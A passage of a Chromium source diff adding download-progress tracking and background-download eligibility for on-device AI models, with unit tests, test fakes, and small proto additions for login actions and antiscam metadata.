+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       UnloadableProgressBytesAddedWhenComponentAlreadyInstalled) {
+  base::test::ScopedFeatureList scoped_feature_list;
+  scoped_feature_list.InitAndEnableFeatureWithParameters(
+      features::kAIModelUnloadableProgress,
+      {{"ai_model_unloadable_progress_bytes", "500"}});
+
+  FakeComponent& component = CreateComponent("component_id", 1000);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+  SendUpdate(component, component.total_bytes());
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Only receive the unloadable progress bytes since the component is already
+  // installed.
+  observer.ExpectReceivedNormalizedUpdate(0, 500);
+  FastForwardBy(base::Milliseconds(51));
+  observer.ExpectNoUpdate();
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       AddNewObserverAfterRemoveObserver) {
+  FakeComponent& component = CreateComponent("component_id", 1000);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  uint64_t downloaded_bytes = 100;
+  {
+    MockDownloadProgressObserver observer1;
+    manager.AddObserver(observer1.BindNewPipeAndPassRemote());
+
+    // The first update should reported as zero.
+    SendUpdate(component, 0);
+    observer1.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+
+    // Wait more than 50ms so we can receive the next event.
+    FastForwardBy(base::Milliseconds(51));
+
+    // The second update should have its downloaded_bytes normalized.
+    SendUpdate(component, downloaded_bytes);
+    observer1.ExpectReceivedNormalizedUpdate(downloaded_bytes,
+                                             component.total_bytes());
+  }
+
+  ASSERT_TRUE(base::test::RunUntil(
+      [&]() { return manager.GetNumberOfReporters() == 0; }));
+
+  // After remove all observers, we should recalculate the total bytes. Total
+  // bytes should be reduced by the already downloaded bytes.
+  {
+    MockDownloadProgressObserver observer2;
+    manager.AddObserver(observer2.BindNewPipeAndPassRemote());
+
+    uint64_t new_downloaded_bytes = downloaded_bytes + 100;
+    SendUpdate(component, new_downloaded_bytes);
+
+    // The first update should reported as zero.
+    observer2.ExpectReceivedNormalizedUpdate(
+        0, component.total_bytes() - new_downloaded_bytes);
+
+    // Wait more than 50ms so we can receive the next event.
+    FastForwardBy(base::Milliseconds(51));
+
+    // The second update should have its downloaded_bytes normalized.
+    SendUpdate(component, new_downloaded_bytes + 100);
+    observer2.ExpectReceivedNormalizedUpdate(
+        100, component.total_bytes() - new_downloaded_bytes);
+  }
+}
+
+}  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/on_device_model_service_controller.cc b/components/optimization_guide/core/model_execution/on_device_model_service_controller.cc
index d1d7090..ce102e9 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_service_controller.cc
+++ b/components/optimization_guide/core/model_execution/on_device_model_service_controller.cc
@@ -137,7 +137,8 @@
     base::WeakPtr<OnDeviceModelComponentStateManager>
         on_device_component_state_manager,
     UsageTracker& usage_tracker,
-    base::SafeRef<on_device_model::ServiceClient> service_client)
+    base::SafeRef<on_device_model::ServiceClient> service_client,
+    AddDownloadProgressObserverCallback add_download_progress_observer_callback)
     : access_controller_(std::move(access_controller)),
       usage_tracker_(usage_tracker),
       service_client_(std::move(service_client)),
@@ -146,7 +147,8 @@
           *usage_tracker_,
           base::BindRepeating(
               &PerformanceClassifier::EnsurePerformanceClassAvailable,
-              performance_classifier)) {
+              performance_classifier),
+          std::move(add_download_progress_observer_callback)) {
   base_model_controller_.emplace(weak_ptr_factory_.GetSafeRef(), nullptr);
   service_client_->set_on_disconnect_fn(base::BindRepeating(
       &OnDeviceModelServiceController::OnServiceDisconnected,
@@ -321,7 +323,11 @@
   // Checks usage for feature before checking (eligible) model status, so that
   // kPendingUsage is returned if the feature is not requested but the model was
   // available for a different feature.
-  if (!usage_tracker_->WasOnDeviceEligibleFeatureRecentlyUsed(feature)) {
+  bool is_background_download_enabled_for_feature =
+      features::IsOnDeviceModelBackgroundDownloadEnabledForFeature(feature);
+
+  if (!usage_tracker_->WasOnDeviceEligibleFeatureRecentlyUsed(feature) &&
+      !is_background_download_enabled_for_feature) {
     return base::unexpected(
         OnDeviceModelEligibilityReason::kNoOnDeviceFeatureUsed);
   }
diff --git a/components/optimization_guide/core/model_execution/on_device_model_service_controller.h b/components/optimization_guide/core/model_execution/on_device_model_service_controller.h
index 52d4f9ea..a529c85 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_service_controller.h
+++ b/components/optimization_guide/core/model_execution/on_device_model_service_controller.h
@@ -77,7 +77,9 @@
       base::WeakPtr<OnDeviceModelComponentStateManager>
           on_device_component_state_manager,
       UsageTracker& usage_tracker,
-      base::SafeRef<on_device_model::ServiceClient> service_client);
+      base::SafeRef<on_device_model::ServiceClient> service_client,
+      AddDownloadProgressObserverCallback
+          add_download_progress_observer_callback);
   ~OnDeviceModelServiceController();
 
   // Whether an on-device session can be created for `feature`.
diff --git a/components/optimization_guide/core/model_execution/on_device_model_service_controller_unittest.cc b/components/optimization_guide/core/model_execution/on_device_model_service_controller_unittest.cc
index c607a69..df91d308 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_service_controller_unittest.cc
+++ b/components/optimization_guide/core/model_execution/on_device_model_service_controller_unittest.cc
@@ -16,6 +16,7 @@
 #include "base/strings/string_util.h"
 #include "base/test/bind.h"
 #include "base/test/metrics/histogram_tester.h"
+#include "base/test/power_monitor_test.h"
 #include "base/test/scoped_feature_list.h"
 #include "base/test/task_environment.h"
 #include "base/test/test_future.h"
@@ -3808,4 +3809,113 @@
   EXPECT_EQ(get_current_ranks(), expected_ranks);
 }
 
+// Test fixtures for background download experiments.
+struct BackgroundDownloadTestParams {
+  std::string test_name;
+  std::string allowed_features;
+  bool clear_usage_history = true;
+  std::optional<proto::ModelExecutionFeature> initialized_feature;
+  std::vector<std::pair<mojom::OnDeviceFeature, OnDeviceModelEligibilityReason>>
+      expectations;
+};
+
+class OnDeviceModelServiceControllerBackgroundDownloadTest
+    : public OnDeviceModelServiceControllerTest,
+      public testing::WithParamInterface<BackgroundDownloadTestParams> {};
+
+TEST_P(OnDeviceModelServiceControllerBackgroundDownloadTest, Run) {
+  const auto& params = GetParam();
+
+  if (params.clear_usage_history) {
+    broker_.local_state().ClearPref(
+        model_execution::prefs::localstate::kLastUsageByFeature);
+  }
+
+  base::test::ScopedPowerMonitorTestSource power_monitor_source;
+  // Set to external power so that `RegisterInstaller` is called and
+  // `GetOnDeviceModelState` returns kSuccess.
+  power_monitor_source.GeneratePowerStateEvent(
+      base::PowerStateObserver::BatteryPowerStatus::kExternalPower);
+
+  base::test::ScopedFeatureList feature_list;
+  if (!params.allowed_features.empty()) {
+    feature_list.InitAndEnableFeatureWithParameters(
+        features::kOnDeviceModelBackgroundDownload,
+        {{"allowed_features", params.allowed_features}});
+  } else {
+    feature_list.InitAndDisableFeature(
+        features::kOnDeviceModelBackgroundDownload);
+  }
+
+  if (params.initialized_feature) {
+    FakeAdaptationAsset fake_asset({.config = [&] {
+      auto config = SimpleComposeConfig();
+      config.set_feature(*params.initialized_feature);
+      config.set_can_skip_text_safety(true);
+      return config;
+    }()});
+    Initialize({
+        .base_model_content = standard_assets_.base_model_content,
+        .safety = nullptr,
+        .language = nullptr,
+        .adaptations = {&fake_asset},
+    });
+  }
+
+  for (const auto& [feature, expected] : params.expectations) {
+    EXPECT_EQ(
+        broker_.GetOrCreateBrokerState().GetOnDeviceModelEligibility(feature),
+        expected)
+        << "for feature: " << feature;
+  }
+  task_environment_.RunUntilIdle();
+}
+
+INSTANTIATE_TEST_SUITE_P(
+    All,
+    OnDeviceModelServiceControllerBackgroundDownloadTest,
+    testing::Values(
+        BackgroundDownloadTestParams{
+            .test_name = "EligibleIfBackgroundDownloadEnabled",
+            .allowed_features = "PromptApi,Summarize",
+            .initialized_feature = proto::MODEL_EXECUTION_FEATURE_PROMPT_API,
+            .expectations = {{mojom::OnDeviceFeature::kPromptApi,
+                              OnDeviceModelEligibilityReason::kSuccess},
+                             {mojom::OnDeviceFeature::kSummarize,
+                              OnDeviceModelEligibilityReason::
+                                  kConfigNotAvailableForFeature}}},
+        BackgroundDownloadTestParams{
+            .test_name =
+                "EligibilityReturnsPendingUsageIfFeatureDisabledInParam",
+            .allowed_features = "PromptApi",
+            .initialized_feature = proto::MODEL_EXECUTION_FEATURE_PROMPT_API,
+            .expectations =
+                {{mojom::OnDeviceFeature::kSummarize,
+                  OnDeviceModelEligibilityReason::kNoOnDeviceFeatureUsed},
+                 {mojom::OnDeviceFeature::kPromptApi,
+                  OnDeviceModelEligibilityReason::kSuccess}}},
+        BackgroundDownloadTestParams{
+            .test_name =
+                "EligibilityReturnsPendingUsageIfModelInstalledForOtherFeature",
+            .allowed_features = "PromptApi",
+            .clear_usage_history = false,
+            .initialized_feature = proto::MODEL_EXECUTION_FEATURE_COMPOSE,
+            .expectations =
+                {{mojom::OnDeviceFeature::kCompose,
+                  OnDeviceModelEligibilityReason::kSuccess},
+                 {mojom::OnDeviceFeature::kPromptApi,
+                  OnDeviceModelEligibilityReason::
+                      kConfigNotAvailableForFeature},
+                 {mojom::OnDeviceFeature::kSummarize,
+                  OnDeviceModelEligibilityReason::kNoOnDeviceFeatureUsed}}},
+        BackgroundDownloadTestParams{
+            .test_name =
+                "EligibilityReturnsNoFeatureUsedIfBackgroundDownloadDisabled",
+            .expectations =
+                {{mojom::OnDeviceFeature::kPromptApi,
+                  OnDeviceModelEligibilityReason::kNoOnDeviceFeatureUsed}}}),
+    [](const testing::TestParamInfo<BackgroundDownloadTestParams>& info) {
+      return info.param.test_name;
+    });
+
 }  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/test/fake_component_update_service.cc b/components/optimization_guide/core/model_execution/test/fake_component_update_service.cc
new file mode 100644
index 0000000..6c908a10
--- /dev/null
+++ b/components/optimization_guide/core/model_execution/test/fake_component_update_service.cc
@@ -0,0 +1,45 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/optimization_guide/core/model_execution/test/fake_component_update_service.h"
+
+namespace optimization_guide {
+
+FakeComponentUpdateService::FakeComponentUpdateService() = default;
+FakeComponentUpdateService::~FakeComponentUpdateService() = default;
+
+void FakeComponentUpdateService::AddObserver(
+    component_updater::ServiceObserver* observer) {
+  observer_list_.AddObserver(observer);
+}
+
+void FakeComponentUpdateService::RemoveObserver(
+    component_updater::ServiceObserver* observer) {
+  observer_list_.RemoveObserver(observer);
+}
+
+void FakeComponentUpdateService::SendUpdate(
+    const component_updater::CrxUpdateItem& item) {
+  for (auto& observer : observer_list_) {
+    observer.OnEvent(item);
+  }
+}
+
+FakeComponent::FakeComponent(std::string id, uint64_t total_bytes)
+    : id_(std::move(id)), total_bytes_(total_bytes) {}
+
+component_updater::CrxUpdateItem FakeComponent::CreateUpdateItem(
+    update_client::ComponentState state,
+    uint64_t downloaded_bytes) {
+  downloaded_bytes_ = downloaded_bytes;
+
+  component_updater::CrxUpdateItem update_item;
+  update_item.state = state;
+  update_item.id = id_;
+  update_item.downloaded_bytes = downloaded_bytes;
+  update_item.total_bytes = total_bytes_;
+  return update_item;
+}
+
+}  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/test/fake_component_update_service.h b/components/optimization_guide/core/model_execution/test/fake_component_update_service.h
new file mode 100644
index 0000000..0f3bbfb4
--- /dev/null
+++ b/components/optimization_guide/core/model_execution/test/fake_component_update_service.h
@@ -0,0 +1,53 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_TEST_FAKE_COMPONENT_UPDATE_SERVICE_H_
+#define COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_TEST_FAKE_COMPONENT_UPDATE_SERVICE_H_
+
+#include <string>
+
+#include "base/observer_list.h"
+#include "components/component_updater/mock_component_updater_service.h"
+#include "components/update_client/crx_update_item.h"
+
+namespace optimization_guide {
+
+class FakeComponentUpdateService
+    : public component_updater::MockComponentUpdateService {
+ public:
+  FakeComponentUpdateService();
+  ~FakeComponentUpdateService() override;
+
+  // component_updater::MockComponentUpdateService:
+  void AddObserver(component_updater::ServiceObserver* observer) override;
+  void RemoveObserver(component_updater::ServiceObserver* observer) override;
+
+  void SendUpdate(const component_updater::CrxUpdateItem& item);
+  bool HasObserver() const { return !observer_list_.empty(); }
+
+ private:
+  base::ObserverList<component_updater::ServiceObserver>::Unchecked
+      observer_list_;
+};
+
+class FakeComponent {
+ public:
+  FakeComponent(std::string id, uint64_t total_bytes);
+
+  component_updater::CrxUpdateItem CreateUpdateItem(
+      update_client::ComponentState state,
+      uint64_t downloaded_bytes);
+
+  const std::string& id() { return id_; }
+  uint64_t total_bytes() { return total_bytes_; }
+  uint64_t downloaded_bytes() { return downloaded_bytes_; }
+
+ private:
+  std::string id_;
+  uint64_t total_bytes_;
+  uint64_t downloaded_bytes_ = 0;
+};
+
+}  // namespace optimization_guide
+#endif  // COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_TEST_FAKE_COMPONENT_UPDATE_SERVICE_H_
diff --git a/components/optimization_guide/core/model_execution/test/fake_model_broker.cc b/components/optimization_guide/core/model_execution/test/fake_model_broker.cc
index 10425d4..bc66ac8 100644
--- a/components/optimization_guide/core/model_execution/test/fake_model_broker.cc
+++ b/components/optimization_guide/core/model_execution/test/fake_model_broker.cc
@@ -91,7 +91,8 @@
   if (!model_broker_state_) {
     model_broker_state_.emplace(local_state_.local_state(), model_provider_,
                                 component_state_.CreateDelegate(),
-                                fake_launcher_.LaunchFn());
+                                fake_launcher_.LaunchFn(),
+                                &component_state_.component_update_service());
   }
   return *model_broker_state_;
 }
diff --git a/components/optimization_guide/core/model_execution/test/mock_download_progress_observer.cc b/components/optimization_guide/core/model_execution/test/mock_download_progress_observer.cc
new file mode 100644
index 0000000..8006228
--- /dev/null
+++ b/components/optimization_guide/core/model_execution/test/mock_download_progress_observer.cc
@@ -0,0 +1,65 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/optimization_guide/core/model_execution/test/mock_download_progress_observer.h"
+
+#include "base/functional/callback_forward.h"
+#include "base/run_loop.h"
+#include "components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h"
+
+namespace optimization_guide {
+
+MockDownloadProgressObserver::MockDownloadProgressObserver() = default;
+MockDownloadProgressObserver::~MockDownloadProgressObserver() = default;
+
+mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
+MockDownloadProgressObserver::BindNewPipeAndPassRemote() {
+  return receiver_.BindNewPipeAndPassRemote();
+}
+
+void MockDownloadProgressObserver::ExpectReceivedUpdate(
+    uint64_t expected_downloaded_bytes,
+    uint64_t expected_total_bytes,
+    base::OnceClosure callback) {
+  EXPECT_CALL(*this, OnDownloadProgressUpdate(testing::_, testing::_))
+      .WillOnce([callback = std::move(callback), expected_downloaded_bytes,
+                 expected_total_bytes](uint64_t downloaded_bytes,
+                                       uint64_t total_bytes) mutable {
+        EXPECT_EQ(downloaded_bytes, expected_downloaded_bytes);
+        EXPECT_EQ(total_bytes, expected_total_bytes);
+        std::move(callback).Run();
+      });
+}
+
+void MockDownloadProgressObserver::ExpectReceivedUpdate(
+    uint64_t expected_downloaded_bytes,
+    uint64_t expected_total_bytes) {
+  base::RunLoop download_progress_run_loop;
+  ExpectReceivedUpdate(expected_downloaded_bytes, expected_total_bytes,
+                       download_progress_run_loop.QuitClosure());
+  download_progress_run_loop.Run();
+}
+
+void MockDownloadProgressObserver::ExpectReceivedNormalizedUpdate(
+    uint64_t expected_downloaded_bytes,
+    uint64_t expected_total_bytes,
+    base::OnceClosure callback) {
+  ExpectReceivedUpdate(NormalizeModelDownloadProgress(expected_downloaded_bytes,
+                                                      expected_total_bytes),
+                       kNormalizedDownloadProgressMax, std::move(callback));
+}
+
+void MockDownloadProgressObserver::ExpectReceivedNormalizedUpdate(
+    uint64_t expected_downloaded_bytes,
+    uint64_t expected_total_bytes) {
+  ExpectReceivedUpdate(NormalizeModelDownloadProgress(expected_downloaded_bytes,
+                                                      expected_total_bytes),
+                       kNormalizedDownloadProgressMax);
+}
+
+void MockDownloadProgressObserver::ExpectNoUpdate() {
+  EXPECT_CALL(*this, OnDownloadProgressUpdate(testing::_, testing::_)).Times(0);
+}
+
+}  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/test/mock_download_progress_observer.h b/components/optimization_guide/core/model_execution/test/mock_download_progress_observer.h
new file mode 100644
index 0000000..d80874d
--- /dev/null
+++ b/components/optimization_guide/core/model_execution/test/mock_download_progress_observer.h
@@ -0,0 +1,65 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_TEST_MOCK_DOWNLOAD_PROGRESS_OBSERVER_H_
+#define COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_TEST_MOCK_DOWNLOAD_PROGRESS_OBSERVER_H_
+
+#include <cstdint>
+
+#include "mojo/public/cpp/bindings/receiver.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "services/on_device_model/public/mojom/download_observer.mojom.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace optimization_guide {
+
+class MockDownloadProgressObserver
+    : public on_device_model::mojom::DownloadObserver {
+ public:
+  MockDownloadProgressObserver();
+  ~MockDownloadProgressObserver() override;
+  MockDownloadProgressObserver(const MockDownloadProgressObserver&) = delete;
+  MockDownloadProgressObserver& operator=(const MockDownloadProgressObserver&) =
+      delete;
+
+  mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
+  BindNewPipeAndPassRemote();
+
+  // `on_device_model::mojom::DownloadObserver` implementation.
+  MOCK_METHOD(void,
+              OnDownloadProgressUpdate,
+              (uint64_t downloaded_bytes, uint64_t total_bytes),
+              (override));
+
+  // Expects that the next `OnDownloadProgressUpdate` is called with
+  // `expected_downloaded_bytes` and `expected_total_bytes`. Once it receives
+  // an update, calls `callback`.
+  void ExpectReceivedUpdate(uint64_t expected_downloaded_bytes,
+                            uint64_t expected_total_bytes,
+                            base::OnceClosure callback);
+
+  // Overload that waits until the update is received.
+  void ExpectReceivedUpdate(uint64_t expected_downloaded_bytes,
+                            uint64_t expected_total_bytes);
+
+  // Same as `ExpectReceivedUpdate` except it normalizes
+  // `expected_downloaded_bytes` and `expected_total_bytes`.
+  void ExpectReceivedNormalizedUpdate(uint64_t expected_downloaded_bytes,
+                                      uint64_t expected_total_bytes,
+                                      base::OnceClosure callback);
+
+  // Overload that waits until the update is received.
+  void ExpectReceivedNormalizedUpdate(uint64_t expected_downloaded_bytes,
+                                      uint64_t expected_total_bytes);
+
+  void ExpectNoUpdate();
+
+ private:
+  mojo::Receiver<on_device_model::mojom::DownloadObserver> receiver_{this};
+};
+
+}  // namespace optimization_guide
+
+#endif  // COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_TEST_MOCK_DOWNLOAD_PROGRESS_OBSERVER_H_
diff --git a/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.cc b/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.cc
index edf46b4..461129d 100644
--- a/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.cc
+++ b/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.cc
@@ -63,11 +63,24 @@
         FROM_HERE, base::BindOnce(std::move(callback), space));
   }
 
+  std::string GetComponentId() override {
+    return state_ ? state_->component().id() : std::string();
+  }
+
  private:
   base::WeakPtr<TestComponentState> state_;
 };
 
-TestComponentState::TestComponentState() = default;
+TestComponentState::TestComponentState() {
+  component_updater::CrxUpdateItem item =
+      component_.CreateUpdateItem(update_client::ComponentState::kNew, 0);
+
+  ON_CALL(component_update_service_,
+          GetComponentDetails(testing::_, testing::_))
+      .WillByDefault(testing::DoAll(testing::SetArgPointee<1>(item),
+                                    testing::Return(true)));
+}
+
 TestComponentState::~TestComponentState() = default;
 
 std::unique_ptr<OnDeviceModelComponentStateManager::Delegate>
@@ -82,4 +95,14 @@
   }
 }
 
+bool TestComponentState::WaitForDownloadObserver() const {
+  return base::test::RunUntil(
+      [&]() { return component_update_service_.HasObserver(); });
+}
+
+void TestComponentState::UpdateDownloadProgress(uint64_t downloaded_bytes) {
+  component_update_service_.SendUpdate(component_.CreateUpdateItem(
+      update_client::ComponentState::kDownloading, downloaded_bytes));
+}
+
 }  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.h b/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.h
index 9d786bf..19aae1aa 100644
--- a/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.h
+++ b/components/optimization_guide/core/model_execution/test/test_on_device_model_component_state_manager.h
@@ -12,6 +12,7 @@
 #include "base/memory/weak_ptr.h"
 #include "base/task/current_thread.h"
 #include "components/optimization_guide/core/model_execution/on_device_model_component.h"
+#include "components/optimization_guide/core/model_execution/test/fake_component_update_service.h"
 
 namespace optimization_guide {
 
@@ -43,6 +44,15 @@
     return base::test::RunUntil([&]() { return installer_registered(); });
   }
 
+  bool WaitForDownloadObserver() const;
+
+  void UpdateDownloadProgress(uint64_t downloaded_bytes);
+
+  FakeComponent& component() { return component_; }
+  component_updater::ComponentUpdateService& component_update_service() {
+    return component_update_service_;
+  }
+
  private:
   class DelegateImpl;
 
@@ -51,6 +61,8 @@
   bool uninstall_called_ = false;
   bool request_update_called_ = false;
   std::unique_ptr<FakeBaseModelAsset> installed_asset_;
+  FakeComponent component_{"component_id", 1000};
+  testing::NiceMock<FakeComponentUpdateService> component_update_service_;
   base::WeakPtrFactory<TestComponentState> weak_ptr_factory_{this};
 };
 
diff --git a/components/optimization_guide/core/optimization_guide_features.cc b/components/optimization_guide/core/optimization_guide_features.cc
index 2289862..356ccbe8 100644
--- a/components/optimization_guide/core/optimization_guide_features.cc
+++ b/components/optimization_guide/core/optimization_guide_features.cc
@@ -4,6 +4,7 @@
 
 #include "components/optimization_guide/core/optimization_guide_features.h"
 
+#include <algorithm>
 #include <cstring>
 #include <optional>
 
@@ -23,6 +24,7 @@
 #include "base/time/time.h"
 #include "components/optimization_guide/core/feature_registry/mqls_feature_registry.h"
 #include "components/optimization_guide/core/model_execution/feature_keys.h"
+#include "components/optimization_guide/core/model_execution/on_device_features.h"
 #include "components/optimization_guide/core/optimization_guide_constants.h"
 #include "components/optimization_guide/core/optimization_guide_enums.h"
 #include "components/optimization_guide/core/optimization_guide_switches.h"
@@ -150,6 +152,24 @@
 BASE_FEATURE(kOnDeviceModelBackgroundDownload,
              base::FEATURE_DISABLED_BY_DEFAULT);
 
+const base::FeatureParam<std::string>
+    kOnDeviceModelBackgroundDownloadAllowedFeatures{
+        &kOnDeviceModelBackgroundDownload, "allowed_features",
+        "PromptApi,WritingAssistanceApi,Summarize"};
+
+bool IsOnDeviceModelBackgroundDownloadEnabledForFeature(
+    mojom::OnDeviceFeature feature) {
+  if (!base::FeatureList::IsEnabled(kOnDeviceModelBackgroundDownload)) {
+    return false;
+  }
+  std::string allowed_features_string =
+      kOnDeviceModelBackgroundDownloadAllowedFeatures.Get();
+  std::vector<std::string_view> allowed_features =
+      base::SplitStringPiece(allowed_features_string, ",",
+                             base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);
+  return std::ranges::contains(allowed_features, GetVariantName(feature));
+}
+
 BASE_FEATURE(kOptimizationGuideIconView, base::FEATURE_DISABLED_BY_DEFAULT);
 
 BASE_FEATURE(kBrokerModelSessionsForUntrustedProcesses,
diff --git a/components/optimization_guide/core/optimization_guide_features.h b/components/optimization_guide/core/optimization_guide_features.h
index ac8ba17e..a805ae89 100644
--- a/components/optimization_guide/core/optimization_guide_features.h
+++ b/components/optimization_guide/core/optimization_guide_features.h
@@ -24,6 +24,7 @@
 #include "components/optimization_guide/proto/hints.pb.h"
 #include "components/optimization_guide/proto/model_execution.pb.h"
 #include "components/optimization_guide/proto/models.pb.h"
+#include "components/optimization_guide/public/mojom/model_broker.mojom-shared.h"
 #include "net/nqe/effective_connection_type.h"
 #include "url/gurl.h"
 
@@ -110,6 +111,17 @@
 COMPONENT_EXPORT(OPTIMIZATION_GUIDE_FEATURES)
 BASE_DECLARE_FEATURE(kOnDeviceModelBackgroundDownload);
 
+// Comma-separated list of features that are allowed to be downloaded in
+// background.
+COMPONENT_EXPORT(OPTIMIZATION_GUIDE_FEATURES)
+extern const base::FeatureParam<std::string>
+    kOnDeviceModelBackgroundDownloadAllowedFeatures;
+
+// Returns whether the feature is allowed to be downloaded in background.
+COMPONENT_EXPORT(OPTIMIZATION_GUIDE_FEATURES)
+bool IsOnDeviceModelBackgroundDownloadEnabledForFeature(
+    mojom::OnDeviceFeature feature);
+
 COMPONENT_EXPORT(OPTIMIZATION_GUIDE_FEATURES)
 BASE_DECLARE_FEATURE(kOptimizationGuideIconView);
 
diff --git a/components/optimization_guide/internal b/components/optimization_guide/internal
index 92ff51e..6f24f4a 160000
--- a/components/optimization_guide/internal
+++ b/components/optimization_guide/internal
@@ -1 +1 @@
-Subproject commit 92ff51eaf94bc5bddb5a33cbd3dbb98767093216
+Subproject commit 6f24f4a9a7c049f7f495ac5eb85d6cae978cfce3
diff --git a/components/optimization_guide/proto/features/actions_data.proto b/components/optimization_guide/proto/features/actions_data.proto
index 45e835b1..84f5c55 100644
--- a/components/optimization_guide/proto/features/actions_data.proto
+++ b/components/optimization_guide/proto/features/actions_data.proto
@@ -252,9 +252,38 @@
 }
 
 // Attempts to log in to the website.
-// Next ID: 2
+// Next ID: 3
 message AttemptLoginAction {
   int32 tab_id = 1 [features = { field_presence: EXPLICIT }];
+
+  // All of the login methods that the model knows about for this page.
+  // As it does not know in advance which account type will be selected by the
+  // user, the model provides everything it recognizes.
+  // If a password form target is not provided (or if no targets are provided at
+  // all), password form filling will still be done if a password credential is
+  // selected by the user, but submitting the form will need to be done by a
+  // follow up action.
+  repeated LoginTarget login_targets = 2;
+
+  // A target along with a type indicating how it is used to log in.
+  // Next ID: 3
+  message LoginTarget {
+    LoginType login_type = 1 [features = { field_presence: EXPLICIT }];
+
+    ActionTarget target = 2 [features = { field_presence: EXPLICIT }];
+
+    // Indicates how the target is used to log in.
+    enum LoginType {
+      // Unknown login type. This should not be used.
+      UNKNOWN_LOGIN_TYPE = 0;
+
+      // The target is used to submit a username/password form.
+      PASSWORD_FORM_SUBMIT = 1;
+
+      // The target is a "Sign in with Google" button.
+      FEDERATED_GOOGLE_SIGNIN = 2;
+    }
+  }
 }
 
 // Specifies a form by a set of fields (from different autofill sections) and
diff --git a/components/optimization_guide/proto/features/gemini_antiscam_protection.proto b/components/optimization_guide/proto/features/gemini_antiscam_protection.proto
index 5a6aa4a3..0bd13abc 100644
--- a/components/optimization_guide/proto/features/gemini_antiscam_protection.proto
+++ b/components/optimization_guide/proto/features/gemini_antiscam_protection.proto
@@ -25,6 +25,8 @@
   GeminiAntiscamProtectionResponse response = 2 [features = { field_presence: EXPLICIT }];
 
   ModelExecutionInfo model_execution_info = 3 [features = { field_presence: EXPLICIT }];
+
+  GeminiAntiscamProtectionMetadata metadata = 4 [features = { field_presence: EXPLICIT }];
 }
 
 message GeminiAntiscamProtectionRequest {
@@ -40,3 +42,11 @@
 
   string justification = 3 [features = { field_presence: EXPLICIT }];
 }
+
+message GeminiAntiscamProtectionMetadata {
+  bool page_contains_financial_fields = 1 [features = { field_presence: EXPLICIT }];
+
+  bool page_contains_password_field = 2 [features = { field_presence: EXPLICIT }];
+
+  bool page_contains_identity_fields = 3 [features = { field_presence: EXPLICIT }];
+}
diff --git a/components/optimization_guide/public/mojom/model_broker.mojom b/components/optimization_guide/public/mojom/model_broker.mojom
index d2aaf13..c18d59f 100644
--- a/components/optimization_guide/public/mojom/model_broker.mojom
+++ b/components/optimization_guide/public/mojom/model_broker.mojom
@@ -5,6 +5,7 @@
 module optimization_guide.mojom;
 
 import "mojo/public/mojom/base/proto_wrapper.mojom";
+import "services/on_device_model/public/mojom/download_observer.mojom";
 import "services/on_device_model/public/mojom/on_device_model.mojom";
 
 enum OnDeviceFeature {
@@ -90,4 +91,10 @@
   // Starts listening for models that provide the requested feature.
   Subscribe(ModelSubscriptionOptions options,
             pending_remote<ModelSubscriber> subcriber);
+
+  // Start listening for download progress updates for models.
+  // TODO: crbug.com/474999857 Implement this method on Android.
+  [EnableIfNot=is_android]
+  AddModelDownloadProgressObserver(
+      pending_remote<on_device_model.mojom.DownloadObserver> observer);
 };
diff --git a/components/os_crypt/sync/BUILD.gn b/components/os_crypt/sync/BUILD.gn
index 2d155f4..05f7ebf 100644
--- a/components/os_crypt/sync/BUILD.gn
+++ b/components/os_crypt/sync/BUILD.gn
@@ -24,7 +24,6 @@
     "//components/signin/core/browser",
     "//components/sync:unit_tests",
     "//components/sync/nigori",
-    "//components/sync/service",
     "//headless:headless_non_renderer",
     "//ios/chrome/browser/web/model:web_internal",
     "//services/network:network_service",
diff --git a/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.cc b/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.cc
index 3af91c2..3dfe954 100644
--- a/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.cc
+++ b/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.cc
@@ -106,6 +106,8 @@
